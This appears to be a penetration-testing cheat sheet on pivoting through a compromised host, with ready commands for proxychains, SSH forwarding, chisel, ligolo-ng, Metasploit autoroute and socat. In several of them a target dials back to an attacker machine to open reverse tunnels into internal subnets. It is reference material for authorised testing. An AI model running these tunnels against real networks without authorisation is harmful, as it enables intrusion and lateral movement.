| Field | Detail |
|---|---|
| Summary | Tunnel through a foothold to reach internal subnets |
| Category | Tunnelling & lateral movement |
| Phase | post-exploitation |
| Interface | CLI |
| Platform | Linux, Windows |
| Licence | Open source |
| Docs | https://github.com/nicocha30/ligolo-ng / https://github.com/jpillora/chisel |
| Related | Netcat, NetExec (CrackMapExec), Nmap, Metasploit |
Once you compromise a host with a second network interface, pivoting routes your tools through it to reach segments you can't touch directly. These tools build the tunnel; proxychains pushes ordinary tools through it.
⚠️ Warning — Scope & stability Tunnels change the network's traffic flow and can be fragile — a dropped pivot kills every session behind it. In scope only, and document each tunnel so you (and the client) know what's routing where.
proxychains — push any tool through a SOCKS proxy
proxychains (use proxychains4 / proxychains-ng) forces a program's TCP through a proxy you've set up.
# /etc/proxychains4.conf (bottom [ProxyList] section)
# strict_chain / dynamic_chain (dynamic = skip dead proxies)
# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -n 172.16.0.10 -p 445 # TCP connect only — no raw sockets!
proxychains nxc smb 172.16.0.0/24 -u u -p p
proxychains firefox http://172.16.0.10
💡 Tip — proxychains limits It only handles TCP, and Nmap must use
-sT -Pn(no SYN/ICMP/UDP over SOCKS). It's slow — scan few ports. For speed, port-forward the one service instead of proxying a whole scan.
SSH tunnelling (no extra tooling if SSH is available)
# Local forward: reach a remote service on your localhost
ssh -L 8080:172.16.0.10:80 user@pivot # your :8080 -> 172.16.0.10:80
# Remote forward: expose YOUR service to the pivot's network
ssh -R 9001:127.0.0.1:9001 user@pivot
# Dynamic (SOCKS proxy) — the pivot one-liner; pair with proxychains
ssh -D 1080 user@pivot # SOCKS on 127.0.0.1:1080
ssh -fN -D 1080 user@pivot # background, no shell
chisel — tunnel over HTTP when you only have a shell
Single Go binary, client+server, great when SSH isn't available (e.g. Windows targets). Upload the matching chisel binary to the target.
# Reverse SOCKS (most common): server on YOUR box, client on the target dials back
# Attacker:
./chisel server -p 8000 --reverse
# Target (compromised pivot):
./chisel client 10.8.0.5:8000 R:socks # exposes SOCKS on attacker 127.0.0.1:1080
# then: proxychains <tool> ...
# Single port forward instead of SOCKS:
./chisel client 10.8.0.5:8000 R:3389:172.16.0.10:3389
ligolo-ng — the modern favourite (no proxychains needed)
Creates a tun interface on your box, so the pivot network becomes routable — run tools natively, full TCP/UDP/ICMP, normal Nmap.
# Attacker: set up the interface once
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert # starts the ligolo listener (:11601)
# Target: run the agent, dial back
./agent -connect 10.8.0.5:11601 -ignore-cert
# In the ligolo proxy console:
session # pick the agent
# then add a route for the hidden subnet to the ligolo interface:
sudo ip route add 172.16.0.0/24 dev ligolo
start # start tunnelling
# Now just: nmap 172.16.0.10 / nxc smb 172.16.0.0/24 — native, fast
Double pivot: add a listener on the first agent to reach a third segment — ligolo chains cleanly.
Metasploit pivoting (if you're in MSF already)
# From a meterpreter session:
run autoroute -s 172.16.0.0/24 # route MSF modules through the session
portfwd add -l 3389 -p 3389 -r 172.16.0.10
use auxiliary/server/socks_proxy # SOCKS for proxychains
Picking one
| Situation | Reach for |
|---|---|
| SSH creds/shell on the pivot | SSH -D (nothing to upload) |
| Any shell, want it simple & routable | ligolo-ng (best UX, full protocols) |
| Firewalled egress, HTTP only, Windows | chisel (reverse SOCKS) |
| Already living in Metasploit | autoroute + socks_proxy |
| Pushing a non-proxy-aware TCP tool | wrap it in proxychains |
More pivoting patterns
# sshuttle — VPN-like, routes a whole subnet over SSH, no proxychains
sshuttle -r user@pivot 172.16.0.0/24
# SSH ProxyJump chain (reach a host via two hops)
ssh -J user@pivot1,user@pivot2 user@deep-host
# socat forward when only socat is on the box
socat TCP-LISTEN:3389,fork TCP:172.16.0.10:3389
# chisel: reverse SOCKS + a single port-forward in one client
./chisel client 10.8.0.5:8000 R:socks R:3389:172.16.0.10:3389
# ligolo-ng double pivot: add a listener on the first agent to reach a third subnet
# (agent console) listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
# proxychains4.conf: dynamic_chain + "socks5 127.0.0.1 1080"
proxychains -q curl -s http://172.16.0.10 # quick SOCKS sanity test
Kill-chain usage
Post-exploitation
./chisel client 10.8.0.5:8000 R:socks ; proxychains nmap 172.16.0.0/24
Where it fits
Pure post-exploitation plumbing. After a foothold (via Metasploit, Netcat, or AD exec), discover the second subnet, stand up a tunnel, then re-run your enumeration (Nmap, NetExec (CrackMapExec)) against the newly reachable hosts as if you were local.